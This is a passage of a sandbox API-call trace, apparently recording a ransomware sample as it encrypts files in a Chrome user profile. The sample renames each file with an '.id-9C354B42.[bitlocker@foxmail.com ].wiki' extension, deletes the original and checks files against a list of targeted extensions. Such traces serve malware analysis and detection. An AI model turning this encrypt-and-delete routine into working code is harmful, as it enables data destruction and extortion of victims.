lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x130, lpOverlapped=0x0) returned 1 [0177.467] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0177.467] WriteFile (in: hFile=0x160, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.467] SetEndOfFile (hFile=0x160) returned 1 [0177.467] CloseHandle (hObject=0x160) returned 1 [0177.468] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.468] SetEndOfFile (hFile=0x1b4) returned 1 [0177.468] CloseHandle (hObject=0x1b4) returned 1 [0177.468] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.469] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json")) returned 1 [0177.469] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json") returned 151 [0177.469] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json") returned 151 [0177.469] lstrlenW (lpString=".doc") returned 4 [0177.469] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.469] lstrlenW (lpString=".docx") returned 5 [0177.469] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.469] lstrlenW (lpString=".pdf") returned 4 [0177.469] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.469] lstrlenW (lpString=".xls") returned 4 [0177.469] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.469] lstrlenW (lpString=".xlsx") returned 5 [0177.469] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.469] lstrlenW (lpString=".ppt") returned 4 [0177.469] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json") returned 151 [0177.470] lstrlenW (lpString=".zip") returned 4 [0177.470] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.470] lstrlenW (lpString=".rar") returned 4 [0177.470] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.470] lstrlenW (lpString=".bz2") returned 4 [0177.470] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.470] lstrlenW (lpString=".7z") returned 3 [0177.470] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json") returned 151 [0177.470] lstrlenW (lpString=".dbf") returned 4 [0177.470] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json") returned 151 [0177.470] lstrlenW (lpString=".1cd") returned 4 [0177.470] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json") returned 151 [0177.470] lstrlenW (lpString=".jpg") returned 4 [0177.470] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json") returned 151 [0177.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json") returned 151 [0177.470] lstrlenW (lpString=".doc") returned 4 [0177.470] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.470] lstrlenW (lpString=".docx") returned 5 [0177.470] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.470] lstrlenW (lpString=".pdf") returned 4 [0177.470] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.471] lstrlenW (lpString=".xls") returned 4 [0177.471] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.471] lstrlenW (lpString=".xlsx") returned 5 [0177.471] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.471] lstrlenW (lpString=".ppt") returned 4 [0177.471] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json") returned 151 [0177.471] lstrlenW (lpString=".zip") returned 4 [0177.471] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.471] lstrlenW (lpString=".rar") returned 4 [0177.471] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.471] lstrlenW (lpString=".bz2") returned 4 [0177.471] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.471] lstrlenW (lpString=".7z") returned 3 [0177.471] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json") returned 151 [0177.471] lstrlenW (lpString=".dbf") returned 4 [0177.471] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json") returned 151 [0177.471] lstrlenW (lpString=".1cd") returned 4 [0177.471] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json") returned 151 [0177.471] lstrlenW (lpString=".jpg") returned 4 [0177.471] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.471] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x25f0020, Size=0x40000) returned 0x25f0020 [0177.473] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.474] lstrlenW (lpString="messages.json") returned 13 [0177.474] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0177.474] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=205) returned 1 [0177.474] CloseHandle (hObject=0x1b4) returned 1 [0177.474] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json")) returned 0x2020 [0177.474] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.474] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0177.475] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.475] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.475] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0177.475] GetLastError () returned 0x0 [0177.475] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xcd, lpOverlapped=0x0) returned 1 [0177.742] WriteFile (in: hFile=0x160, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0177.743] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0177.743] WriteFile (in: hFile=0x160, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.743] SetEndOfFile (hFile=0x160) returned 1 [0177.743] CloseHandle (hObject=0x160) returned 1 [0177.743] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.743] SetEndOfFile (hFile=0x1b4) returned 1 [0177.744] CloseHandle (hObject=0x1b4) returned 1 [0177.744] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.744] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json")) returned 1 [0177.744] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json") returned 151 [0177.744] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json") returned 151 [0177.744] lstrlenW (lpString=".doc") returned 4 [0177.744] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.744] lstrlenW (lpString=".docx") returned 5 [0177.745] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.745] lstrlenW (lpString=".pdf") returned 4 [0177.745] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.745] lstrlenW (lpString=".xls") returned 4 [0177.745] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.745] lstrlenW (lpString=".xlsx") returned 5 [0177.745] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.745] lstrlenW (lpString=".ppt") returned 4 [0177.745] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.745] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json") returned 151 [0177.745] lstrlenW (lpString=".zip") returned 4 [0177.745] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.745] lstrlenW (lpString=".rar") returned 4 [0177.745] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.745] lstrlenW (lpString=".bz2") returned 4 [0177.745] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.745] lstrlenW (lpString=".7z") returned 3 [0177.745] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.745] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json") returned 151 [0177.745] lstrlenW (lpString=".dbf") returned 4 [0177.745] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.745] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json") returned 151 [0177.745] lstrlenW (lpString=".1cd") returned 4 [0177.745] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.745] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json") returned 151 [0177.745] lstrlenW (lpString=".jpg") returned 4 [0177.745] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.745] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json") returned 151 [0177.745] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json") returned 151 [0177.745] lstrlenW (lpString=".doc") returned 4 [0177.746] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.746] lstrlenW (lpString=".docx") returned 5 [0177.746] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.746] lstrlenW (lpString=".pdf") returned 4 [0177.746] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.746] lstrlenW (lpString=".xls") returned 4 [0177.746] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.746] lstrlenW (lpString=".xlsx") returned 5 [0177.746] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.746] lstrlenW (lpString=".ppt") returned 4 [0177.746] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.746] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json") returned 151 [0177.746] lstrlenW (lpString=".zip") returned 4 [0177.746] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.746] lstrlenW (lpString=".rar") returned 4 [0177.746] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.746] lstrlenW (lpString=".bz2") returned 4 [0177.746] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.746] lstrlenW (lpString=".7z") returned 3 [0177.746] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.746] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json") returned 151 [0177.746] lstrlenW (lpString=".dbf") returned 4 [0177.746] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.746] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json") returned 151 [0177.746] lstrlenW (lpString=".1cd") returned 4 [0177.746] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.746] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json") returned 151 [0177.746] lstrlenW (lpString=".jpg") returned 4 [0177.746] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.747] lstrcmpiW (lpString1=".js", lpString2=".wiki") returned -1 [0177.747] lstrlenW (lpString="craw_background.js") returned 18 [0177.747] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0177.747] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=207406) returned 1 [0177.747] CloseHandle (hObject=0x1b4) returned 1 [0177.747] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js")) returned 0x2020 [0177.747] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.747] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0177.748] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.748] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.748] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0177.748] GetLastError () returned 0x0 [0177.748] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x32a2e, lpOverlapped=0x0) returned 1 [0177.754] WriteFile (in: hFile=0x160, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x32a30, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x32a30, lpOverlapped=0x0) returned 1 [0177.758] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0177.758] WriteFile (in: hFile=0x160, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf8, lpOverlapped=0x0) returned 1 [0177.758] SetEndOfFile (hFile=0x160) returned 1 [0177.758] CloseHandle (hObject=0x160) returned 1 [0177.758] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.758] SetEndOfFile (hFile=0x1b4) returned 1 [0177.760] CloseHandle (hObject=0x1b4) returned 1 [0177.760] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.760] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js")) returned 1 [0177.761] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js") returned 148 [0177.761] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js") returned 148 [0177.761] lstrlenW (lpString=".doc") returned 4 [0177.761] lstrcmpiW (lpString1=".doc", lpString2="d.js") returned -1 [0177.761] lstrlenW (lpString=".docx") returned 5 [0177.761] lstrcmpiW (lpString1=".docx", lpString2="nd.js") returned -1 [0177.761] lstrlenW (lpString=".pdf") returned 4 [0177.761] lstrcmpiW (lpString1=".pdf", lpString2="d.js") returned -1 [0177.761] lstrlenW (lpString=".xls") returned 4 [0177.761] lstrcmpiW (lpString1=".xls", lpString2="d.js") returned -1 [0177.761] lstrlenW (lpString=".xlsx") returned 5 [0177.761] lstrcmpiW (lpString1=".xlsx", lpString2="nd.js") returned -1 [0177.761] lstrlenW (lpString=".ppt") returned 4 [0177.761] lstrcmpiW (lpString1=".ppt", lpString2="d.js") returned -1 [0177.761] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js") returned 148 [0177.761] lstrlenW (lpString=".zip") returned 4 [0177.761] lstrcmpiW (lpString1=".zip", lpString2="d.js") returned -1 [0177.761] lstrlenW (lpString=".rar") returned 4 [0177.761] lstrcmpiW (lpString1=".rar", lpString2="d.js") returned -1 [0177.761] lstrlenW (lpString=".bz2") returned 4 [0177.761] lstrcmpiW (lpString1=".bz2", lpString2="d.js") returned -1 [0177.761] lstrlenW (lpString=".7z") returned 3 [0177.761] lstrcmpiW (lpString1=".7z", 